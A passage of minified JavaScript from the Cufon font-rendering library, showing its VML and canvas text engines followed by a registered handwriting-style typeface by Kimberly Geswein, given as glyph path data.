cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Typeface © Kimberly Geswein 2007
 * 
 * Description:
 * This font was created using FontCreator 5.6 from High-Logic.com
 * 
 * Designer:
 * Kimberly Geswein
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"63,-185v51,17,44,50,32,93v49,33,-4,117,-45,108v-30,4,-38,-52,-24,-79v-34,-44,-30,-116,37,-122xm34,-134v0,19,-4,41,13,44v26,-13,40,-29,40,-50v0,-9,-8,-15,-26,-16xm82,-69v-19,-1,-36,20,-35,51r6,5v29,-10,39,-20,37,-48","w":121},{"w":180},{"d":"32,-211v13,-5,17,-3,26,13v-5,18,-5,50,-5,79v10,-1,21,-3,29,0v1,23,-20,24,-29,37v2,21,-7,51,10,58r35,-13v0,7,3,10,5,16v-41,34,-92,34,-78,-56v-21,14,-27,6,-25,-13r26,-13v-3,-31,7,-117,6,-108","w":98},{"d":"62,-122v53,-29,55,3,55,108v0,61,-13,114,-63,114v-18,0,-30,-14,-37,-40r11,-13v20,39,54,32,63,-29v-6,-11,1,-34,-5,-45v-27,33,-88,47,-87,-21v0,-22,19,-50,63,-74xm75,-93v-31,15,-46,32,-45,58v21,21,37,-5,53,-42v-2,-11,-4,-16,-8,-16","w":123},{"d":"55,-190v20,-1,18,24,40,13v29,0,47,22,53,64r-14,55r43,32v0,5,-5,9,-14,13v-13,-4,-26,-12,-39,-24v-33,31,-35,34,-66,37v-39,-12,-58,-42,-58,-92v0,-39,18,-72,55,-98xm55,-129v-9,2,-11,-4,-15,-8v-9,0,-16,18,-16,55v0,41,12,62,39,61v26,-10,38,-15,37,-29r-39,-26v3,-31,41,5,55,0v10,-25,20,-89,-29,-77v-21,5,-32,13,-32,24","w":174},{"d":"19,-152v9,0,15,25,19,74v20,-8,28,-41,50,-42v21,-16,48,6,45,39v-5,56,-29,85,-66,85v-33,0,-48,-11,-50,-24r-16,-116v0,-11,6,-16,18,-16xm98,-97v-23,-3,-47,36,-47,85v43,-12,63,-52,47,-85","w":136},{"d":"1,-78v15,-56,120,-49,121,10v1,30,-32,61,-82,76v1,29,1,66,-13,62v-9,0,-14,-23,-16,-70v-4,0,-6,-25,-7,-76v4,-3,7,-6,15,-5v6,0,12,22,16,66v22,0,42,-15,61,-43v4,-31,-18,-35,-45,-37","w":126},{"d":"7,-143v4,-17,22,-16,29,-5v2,15,-7,17,-13,24v-11,-3,-16,-9,-16,-19xm20,-85v6,-13,6,-19,19,-18v10,0,26,43,26,129v0,65,-75,86,-100,34v-1,-8,5,-9,8,-13v15,23,63,21,63,-21v0,-31,-5,-68,-16,-111","w":70},{"d":"111,-208v19,-4,44,25,18,34v-34,-11,-61,20,-50,47v31,-4,49,-6,55,-10v7,2,11,7,11,18v-2,10,-43,12,-66,29r16,79v-2,9,-9,12,-21,11v-6,0,-15,-28,-24,-82v-11,-4,-23,8,-37,8v-26,-22,-11,-28,32,-39v1,-59,28,-97,66,-95","w":123},{"d":"58,-153v42,3,51,28,53,61v3,46,-41,32,-74,39v-6,31,43,47,77,35v-5,21,-25,28,-37,29v-31,3,-74,-36,-74,-85v0,-27,18,-53,55,-79xm32,-79v23,1,63,-1,58,-10v-1,-19,5,-43,-13,-45v-30,15,-45,33,-45,55","w":119},{"d":"79,-163v49,0,74,24,74,60v0,43,-47,96,-116,103v-7,0,-17,-39,-29,-116v-3,0,-5,-8,-8,-26v4,-12,30,-21,79,-21xm32,-127v15,62,9,94,29,95v45,-18,67,-45,66,-87v-10,-16,-25,-23,-45,-23v-33,0,-50,7,-50,15","w":156},{"d":"132,-195v9,2,13,9,13,19v0,5,-26,12,-79,21r-5,5v7,42,11,63,15,63r80,-21r3,23v-26,7,-53,18,-80,30v-1,55,21,58,-8,68v-8,0,-14,-21,-21,-63v-24,3,-32,9,-37,-13v0,-5,11,-9,32,-13v-3,-36,-6,-85,-29,-64v-15,-6,-17,-4,-16,-18v0,-4,44,-17,132,-37","w":152},{"d":"94,-165v27,0,38,6,38,34v-6,15,-18,35,-38,61v26,17,51,28,78,34v8,17,4,26,-22,28v-70,-30,-96,-50,-114,-59v-4,35,-5,58,-2,67v-10,14,-11,15,-24,11v-9,-2,-8,-51,4,-146v7,-14,9,-17,20,-14r11,19v23,-23,40,-35,49,-35xm92,-146v-26,11,-43,30,-49,61v37,-3,55,-24,60,-59","w":166},{"d":"108,-219v8,5,13,14,24,16r66,-5v6,3,8,29,0,29v-46,0,-69,3,-69,10r5,143v5,11,-24,43,-31,15r-3,-155v-34,-3,-83,19,-100,-8v0,-11,21,-16,63,-16v36,0,31,-16,45,-29","w":173},{"d":"99,-212v14,0,21,21,21,63v7,27,11,62,11,103v0,40,-4,61,-13,61v-34,-15,-5,-75,-16,-114v-43,1,-74,16,-71,64v0,14,6,21,18,21v11,0,25,-11,42,-32v3,0,9,-6,8,0v-16,64,-95,77,-95,5v0,-38,25,-66,74,-84v6,0,18,7,21,3r-8,-82","w":138},{"d":"21,-179v35,3,82,-23,95,13v0,11,-23,52,-69,126r101,-13v16,7,13,39,-11,32v-18,0,-59,7,-121,21v-12,-5,-14,-8,-13,-21v54,-81,79,-120,79,-137v-28,-1,-77,24,-82,-11v2,-7,9,-10,21,-10","w":157},{"d":"70,46v18,-64,-56,-90,-66,-153v4,-9,9,-14,16,-14v9,-5,34,62,48,80r7,0v4,-32,-16,-93,16,-98r11,11v2,38,-4,84,2,118v-7,64,-10,121,-68,124v-19,-12,-29,-27,-29,-45v10,6,16,16,29,19v17,0,26,-14,34,-42","w":109},{"d":"0,-124v-7,-22,103,-100,129,-47v-5,22,-26,9,-45,10v-37,10,-55,24,-55,40v0,6,29,12,87,18v16,11,24,25,24,40v-17,53,-37,63,-93,63v-37,0,-49,-23,-21,-37v26,20,86,16,85,-34v0,-7,-28,-12,-82,-16v-19,-9,-29,-21,-29,-37","w":143},{"d":"119,-258v9,3,13,8,13,16v-15,19,-39,92,-50,188v-1,9,19,24,47,26v14,-8,23,-25,29,-48v6,-1,8,2,8,8v0,36,-17,58,-50,66v-13,-5,-21,-16,-39,-16v-10,69,-10,102,-40,69v9,-41,13,-76,13,-103v-8,-4,-23,-31,-47,-84v6,-17,5,-17,21,-16v7,2,15,21,26,58v4,2,5,5,11,5v16,-112,36,-169,58,-169","w":172},{"d":"145,-221v12,-1,17,5,16,18v-34,39,-100,87,-87,145r18,79v2,9,-8,8,-13,13v-14,0,-18,-19,-24,-55v-15,-89,-33,-140,-58,-166v0,-8,5,-13,16,-16v18,4,29,39,47,82v50,-64,79,-98,85,-100","w":123},{"d":"42,-167v15,0,29,14,40,40r42,39r0,11r-79,82v-14,2,-18,-8,-18,-19v42,-42,63,-58,63,-68v-39,-46,-69,-58,-48,-85","w":130},{"d":"22,-139v-21,-4,-16,-35,5,-32v14,7,13,28,-5,32xm12,-52v-3,-25,-9,-68,21,-61v28,7,-15,107,42,92v0,17,-10,22,-26,27v-18,0,-32,-19,-37,-58","w":75},{"d":"91,-171v5,-9,4,-12,13,-11v9,0,17,29,26,87v33,-3,23,27,6,29v0,18,3,33,8,48v-6,13,-7,19,-19,18v-8,0,-13,-20,-16,-60v-26,0,-46,3,-50,10v1,23,17,76,-10,77v-8,0,-14,-25,-16,-74r-26,3v-13,-14,-7,-34,21,-29r-8,-74v4,-9,9,-13,16,-13v7,0,14,27,21,81v14,0,27,-3,47,-10","w":152},{},{"d":"129,-3v-24,6,-21,-28,-47,-73v0,-6,-2,-9,-8,-8v-20,59,-16,87,-50,84v-12,-6,-20,-49,-24,-127v0,-10,6,-13,18,-13v25,1,7,77,22,77r23,-74r11,-3v11,0,26,28,47,82r3,0v14,-41,6,-82,13,-124v7,-2,3,5,8,5r0,-10v17,-2,19,21,18,42v-7,95,-18,142,-34,142","w":168},{"d":"73,-152v22,7,24,6,23,24v-35,-3,-57,9,-66,36v0,11,15,23,43,37v33,33,-11,68,-45,66v-11,0,-19,-4,-24,-13v14,-20,42,1,50,-32v-39,-26,-56,-37,-53,-71v24,-32,48,-47,72,-47","w":102},{"d":"98,-192v40,0,60,14,60,44v0,25,-18,51,-55,77r-40,10r3,56v-4,2,-6,6,-13,5v-12,0,-19,-51,-19,-153v-13,3,-22,20,-31,5r-3,0v4,-22,36,-44,98,-44xm119,-169v-20,2,-59,-8,-58,13r2,72v48,-9,72,-27,71,-64v0,-10,-4,-17,-15,-21","w":159},{"d":"44,-130v3,-8,8,-16,21,-15v4,0,7,6,11,18r-11,16v-8,0,-15,-7,-21,-19xm47,-64v12,0,18,23,18,50v0,38,-12,60,-37,66v-17,-17,15,-40,8,-68v-4,-17,-10,-48,11,-48","w":97},{"d":"107,-157v11,11,-8,32,-42,79r-56,78v-9,0,-10,-8,-15,-11v-5,-5,25,-47,86,-129v14,-19,20,-16,27,-17","w":100},{"d":"73,-152v12,-20,16,-22,27,-16v2,24,-14,30,-48,87v20,24,45,35,76,43v9,7,12,24,-2,29v-73,-36,-110,-56,-113,-61r0,-14v21,-15,41,-37,60,-68","w":142},{"d":"34,-169v40,0,61,10,61,29v0,18,-16,51,-48,98v1,3,-2,9,3,8v19,-2,40,-7,63,-16v17,7,17,6,16,21v0,7,-36,17,-108,29v-14,-2,-21,-8,-21,-18v41,-61,62,-92,61,-114v-12,-12,-58,4,-53,-26v2,-7,10,-11,26,-11","w":127},{"d":"5,-122v18,-11,24,-5,29,29r3,0v42,-54,65,-24,81,55v-5,26,-4,36,-18,34v-11,-48,-18,-77,-34,-84v-12,0,-20,30,-24,92v-8,9,-24,3,-24,-8v0,-22,-4,-60,-13,-118","w":123},{"d":"72,-262v11,-7,35,-4,32,13v0,32,-8,70,-24,116v32,4,39,14,45,26v-8,11,-21,18,-27,32v25,31,37,55,35,90v-2,38,-7,44,-35,37v11,-55,8,-92,-42,-117v-10,-14,8,-17,16,-34v-12,-9,-36,-6,-34,-29v17,-17,29,-45,37,-82r-3,0v7,-11,3,-37,0,-52","w":150},{},{"d":"114,-141v-4,-51,-10,-125,39,-108v-9,31,-13,59,-13,84v16,14,39,47,-10,45v-7,6,-22,4,-24,16v0,3,11,10,34,19r3,13v-35,34,-40,61,-35,113v-11,12,-38,2,-29,-18v-4,-33,15,-61,19,-93v-61,-32,-53,-32,16,-71"},{"d":"18,-240v11,0,16,21,16,63r0,122r3,26v14,-1,21,-9,32,-13v-2,29,-29,40,-43,42v-8,1,-18,-25,-18,-58v0,-54,-4,-155,-8,-161v0,-9,6,-16,18,-21","w":68},{"d":"84,-148v17,-1,18,1,19,24v-9,23,-18,62,-29,116v-5,3,-7,9,-16,8v-11,0,-31,-44,-58,-132v1,-9,7,-13,16,-13v6,0,17,29,34,87r8,8v9,-22,17,-55,26,-98","w":106},{"d":"89,-94v0,-25,-11,-66,21,-61v15,3,9,42,8,61v0,3,19,3,57,1v1,33,-5,22,-54,33v-2,29,3,71,-16,63v-13,-5,-17,-27,-16,-52r-8,-8v-18,5,-35,8,-50,8v-11,-13,-18,-27,13,-32v17,2,45,9,45,-13"},{"d":"3,-175v13,-3,90,137,120,177v-1,7,-10,7,-15,10v-6,3,-45,-57,-117,-181","w":100},{"d":"139,-142v-5,-44,11,-93,36,-61v-4,13,-5,30,-5,53v18,6,50,-3,69,5v2,16,-20,11,-69,24r0,39v13,6,31,7,50,6r6,10v0,14,-29,17,-53,16v0,23,7,50,-19,50v-9,0,-13,-15,-13,-47r-37,2v-3,23,9,59,-13,63v-11,0,-16,-17,-16,-52r-5,-6r-55,3v-19,-17,-13,-33,29,-34r29,0v1,-14,-1,-26,-3,-37v-13,0,-23,2,-34,3v-18,-18,2,-33,31,-32v-2,-21,-6,-55,16,-55v12,0,19,17,19,52v16,-1,26,5,37,-2xm102,-103v-2,39,10,27,34,32v7,-9,1,-31,3,-45v-25,0,-37,4,-37,13","w":234},{"d":"75,-174v14,13,29,40,45,82v5,0,8,10,8,31v7,21,16,39,21,61v-26,17,-25,-11,-48,-63v-38,2,-61,11,-60,26v-5,37,-1,51,-21,48v-4,0,-8,-7,-11,-19v20,-125,34,-192,40,-198v13,-5,19,5,26,32xm59,-148r-8,66r40,-5v-11,-39,-15,-65,-32,-61","w":154},{"d":"75,-162v22,-9,40,-5,45,24v-3,16,-10,39,-23,69v29,11,56,16,84,16v12,14,10,24,-16,31v-75,-14,-104,-26,-124,-31v2,47,22,64,3,81r-11,0v-9,0,-19,-47,-29,-142v4,-14,4,-20,16,-19r16,16v17,-27,30,-42,39,-45xm78,-143v-24,17,-35,39,-34,71v34,-12,48,-33,45,-71r-11,0","w":171},{"d":"4,-38v-11,-47,84,-86,118,-45v-1,84,-13,195,-18,182v-15,2,-17,-7,-24,-13r11,-105r-6,0v-18,16,-35,23,-52,23v-19,-7,-29,-21,-29,-42xm85,-72v-33,-2,-51,11,-52,45v24,1,36,-10,52,-35r0,-10","w":128},{"d":"124,-211v14,0,21,37,21,113v0,29,19,61,8,87v-32,5,-25,-23,-34,-55v-23,41,-44,66,-61,66v-39,0,-58,-57,-58,-171v2,-7,7,-11,16,-11v15,4,19,26,13,42v3,76,11,114,26,114v27,-24,46,-41,58,-103r-2,-74","w":160},{"d":"36,-14v-5,-17,-11,-45,16,-40v32,25,10,98,-16,114v-11,0,-18,1,-19,-11v12,-20,19,-41,19,-63","w":97},{"d":"161,-221v12,-5,20,0,24,10v0,5,-14,21,-32,53v-33,60,-56,131,-79,208v-13,4,-15,4,-26,-10v55,-158,92,-244,113,-261xm58,-84v-64,0,-33,-135,16,-121v4,0,11,10,21,31v4,0,8,10,13,29v-13,40,-29,61,-50,61xm48,-129v0,12,3,19,10,19v33,-21,37,-34,5,-53v-14,-2,-15,8,-15,34xm140,29v-48,-14,-39,-85,8,-97v24,0,36,15,39,47v-7,33,-22,50,-47,50xm164,-34v-17,-12,-35,13,-27,32v22,2,26,-15,27,-32","w":193},{"d":"38,-171v26,9,62,-14,77,8v4,36,-55,5,-71,27v-1,8,0,16,5,18v40,-16,101,-6,95,48v4,30,-48,80,-103,89v-10,-1,-25,-20,-13,-31r24,2v42,-19,63,-42,63,-71v-9,-21,-53,-20,-74,5v-28,3,-22,-9,-29,-52v3,-28,12,-43,26,-43","w":149},{"d":"143,-32v19,0,28,7,27,21v-28,16,-96,5,-139,11v-22,-3,-32,-7,-31,-21v29,-17,99,-11,143,-11","w":180},{"d":"6,-48v0,-100,80,-98,89,-5v3,27,-13,55,-47,55v-28,0,-42,-17,-42,-50xm48,-103v-17,15,-28,68,-8,81v52,3,27,-81,8,-81","w":100},{"d":"64,-136v38,-4,51,36,39,68v0,21,4,46,13,72v-4,10,-5,10,-15,10v-6,-3,-13,-14,-19,-34v-38,30,-64,45,-76,-11v0,-44,19,-78,58,-105xm72,-110v-28,21,-42,47,-40,87v51,-4,46,-39,45,-87r-5,0","w":121},{"d":"185,-232v16,0,25,50,29,148v-10,23,13,67,-8,81v-8,0,-20,-8,-21,-23r2,0r-5,-119v-2,-1,-2,-3,-5,-3v-22,79,-44,119,-66,119v-21,-13,-32,-30,-32,-50r-5,0v-16,57,-24,82,-58,79v-16,-5,-26,-35,10,-32v21,-21,33,-66,27,-113v6,-12,5,-17,13,-16v18,0,33,32,45,95v15,-1,17,-14,27,-36v9,-19,19,-51,31,-93v1,-25,7,-37,16,-37","w":223},{"d":"90,-224v9,1,14,11,14,26v17,-6,36,1,34,18r-37,11v-6,11,-5,36,-5,55v23,-3,62,4,58,21v0,36,-22,66,-64,90v1,56,-7,77,-31,53v-1,-17,5,-40,0,-53v-32,0,-48,-8,-48,-26v0,-13,12,-25,19,-19v-3,22,18,25,34,19v6,-14,-2,-26,0,-56v-33,-5,-48,-16,-47,-39v0,-4,17,-21,52,-53v0,-23,-3,-50,21,-47xm43,-116v4,7,12,9,24,8r0,-32v-15,1,-15,17,-24,24xm93,-90v1,18,-2,40,3,53v20,-13,30,-28,29,-53v-10,-4,-21,-2,-32,0","w":157},{"d":"81,-232v8,-12,37,-10,34,11v-46,44,-68,107,-68,187v0,24,27,41,61,58v5,0,7,1,7,5v-7,11,-14,16,-23,16v-26,0,-51,-21,-74,-63v-3,-87,16,-145,63,-214","w":133},{"d":"44,-130v3,-8,8,-16,21,-15v4,0,7,6,11,18r-11,16v-8,0,-15,-7,-21,-19xm47,-64v12,0,18,23,18,50v0,38,-12,60,-37,66v-17,-17,15,-40,8,-68v-4,-17,-10,-48,11,-48","w":97},{"d":"13,-148v6,-34,24,-56,39,-27v-15,23,-13,34,-13,64v-19,-2,-25,-18,-26,-37xm105,-182v9,2,13,8,13,18v-27,10,-31,28,-21,55v0,4,-3,6,-8,6v-46,-10,-14,-85,16,-79","w":118},{"d":"8,-192v18,0,25,27,32,81v8,63,18,77,13,111r-13,0v-10,0,-21,-47,-32,-140v-5,-16,-16,-42,0,-52","w":60},{"d":"67,-109v3,-32,-14,-87,16,-85v27,17,4,66,13,106v28,-4,49,-26,82,-61v13,5,19,6,18,13v0,11,-26,34,-79,69v-43,17,29,84,-18,95v-15,-1,-25,-27,-16,-42r-8,-32v-36,9,-71,-4,-68,-42v15,-21,34,-28,60,-21xm41,-80r0,8r16,0r0,-8r-16,0","w":198},{"d":"0,-74v9,-32,61,-6,90,-16v21,5,26,4,26,16v0,11,-25,16,-76,16v-23,1,-29,7,-40,-16","w":117},{"d":"47,-38v10,0,16,7,18,21v-5,24,-29,21,-34,3v0,-9,5,-17,16,-24","w":97},{"d":"14,-187v28,4,16,75,23,106r3,0v36,-60,71,-54,84,29v-1,26,7,72,-19,70v-4,-3,-9,-35,-15,-94r-13,-16v-15,0,-26,36,-34,106v-5,3,-7,9,-16,8v-7,0,-9,-18,-13,-53v-6,-58,-13,-98,-13,-132v-8,-6,2,-15,13,-24","w":130},{"d":"44,-110v15,-44,30,-69,50,-45v-15,48,-39,83,-34,101v8,31,15,27,37,31v3,24,-35,31,-45,13v-10,-1,-10,20,-18,61v-10,7,-23,10,-27,-11r19,-97r-24,-69v3,-16,7,-13,21,-13v4,0,10,10,16,29r5,0","w":105},{"d":"66,-177v74,19,38,53,3,116r0,6v43,-16,68,-24,76,-24v10,2,12,11,11,24v0,3,-28,15,-82,34v-31,18,-35,23,-66,21v-4,0,-7,-4,-8,-11v55,-65,79,-86,76,-137v-28,-2,-30,4,-55,27v-14,0,-18,-5,-16,-19v19,-25,40,-37,61,-37","w":157},{"d":"82,-189v16,0,23,37,23,111v0,34,16,88,-13,100v-24,-1,-15,-42,-16,-71v-27,6,-75,3,-71,-21v12,-24,-19,-77,21,-74v9,0,14,21,14,61v7,2,37,8,36,-6r-7,-89v1,-4,5,-8,13,-11","w":115},{"d":"98,-165v10,3,14,4,13,10v0,6,-25,17,-76,32v0,10,-1,21,2,29v18,-3,69,-8,74,3v0,5,-25,13,-74,26v1,32,2,50,19,50v18,0,43,-7,76,-23v10,-1,19,1,19,10v0,12,-16,21,-48,26v-15,7,-38,16,-68,16v-19,0,-29,-50,-29,-150v0,-13,30,-23,92,-29","w":156},{"d":"202,-185v42,-14,93,5,93,45v0,30,-34,65,-103,105v-19,19,-21,19,-16,42v-11,18,-24,27,-37,27v-11,-11,-10,-27,-5,-45v-5,-15,-36,-35,-92,-61v-23,-27,-35,-44,-35,-52v26,-71,88,-71,137,-19v28,-28,48,-42,58,-42xm144,-95v-22,-20,-41,-56,-84,-51v-7,4,-12,9,-16,16v0,21,29,44,85,71r21,19v79,-53,118,-76,116,-108v-5,-13,-23,-14,-42,-13v-24,0,-44,19,-61,58","w":301},{"d":"0,-82v7,-44,16,-67,42,-63v39,5,58,25,58,53v0,63,-30,92,-58,92v-20,0,-34,-28,-42,-82xm40,-121v-20,0,-22,102,10,95v21,-14,31,-39,29,-74v-11,-14,-23,-21,-39,-21","w":106},{"d":"24,-226v2,-10,9,-14,21,-13v83,75,74,209,-8,282v-13,1,-21,-3,-21,-16v61,-50,67,-166,26,-229v-12,-5,-18,-13,-18,-24","w":110},{"d":"0,-185v-1,-11,7,-13,18,-13v8,4,20,33,40,87v12,31,22,50,29,56v17,-52,28,-96,32,-132v6,-11,33,-8,29,8v-25,106,-40,165,-48,176v-23,11,-33,-33,-68,-110v-19,-43,-32,-67,-32,-72","w":152},{"d":"34,-106v24,-5,25,-47,47,-89v17,0,18,-2,24,16v2,6,-26,50,-63,126v6,25,141,3,121,0v5,0,9,4,13,13v-9,37,-98,28,-139,21v-1,44,-29,53,-32,11v-3,-48,6,-100,0,-145v3,-22,25,-21,34,3","w":163},{"d":"32,-198v13,-1,21,18,18,42v-6,51,-21,76,-42,76v-12,-31,24,-65,10,-108v1,-4,6,-7,14,-10","w":60},{"d":"9,-151v16,-32,58,-57,79,-32v1,19,-2,31,-10,50v32,-1,60,2,68,26v3,44,-49,93,-126,122v-5,0,-10,-5,-16,-16v0,-9,16,-15,48,-19v45,-36,66,-54,65,-76v-23,-20,-53,-3,-84,16v-11,-4,-16,-11,-16,-21v24,-20,37,-35,37,-56v-17,4,-26,22,-32,19v-7,0,-10,-4,-10,-13r-3,0","w":151},{"d":"74,-199v12,-6,33,3,43,-2v5,0,12,7,21,21v-2,14,-14,123,-8,205v-30,28,-35,-6,-35,-37v0,-21,3,-54,6,-95r-8,0v-11,21,-29,32,-53,32v-25,-9,-37,-26,-37,-50v0,-21,23,-48,71,-74xm32,-112v1,9,13,8,24,8v9,-4,29,-19,47,-47r-2,-19v-45,1,-69,31,-69,58","w":140},{"d":"17,-194v20,-18,33,-1,34,29r2,103v-4,11,-6,15,-10,15v-31,3,-23,-45,-24,-76xm6,14v-3,-20,28,-24,34,-8v1,26,-21,32,-34,8","w":61},{"d":"91,-171v13,6,18,13,18,26v-5,114,4,168,-29,164v-3,0,-7,-5,-13,-16v9,-52,12,-92,11,-143v-28,0,-77,14,-77,-18r11,-11v18,2,71,7,79,-2","w":112},{"d":"0,-158v4,-3,8,-5,16,-5v11,0,19,46,24,137v3,12,0,29,-14,26v-10,0,-19,-53,-26,-158","w":48},{"d":"12,-209v8,-29,51,6,84,-5v32,9,18,67,19,103r2,116v0,12,-8,21,-26,21v-16,0,-41,4,-74,15v-11,0,-16,-6,-16,-18v0,-7,15,-10,43,-13v58,-6,40,-36,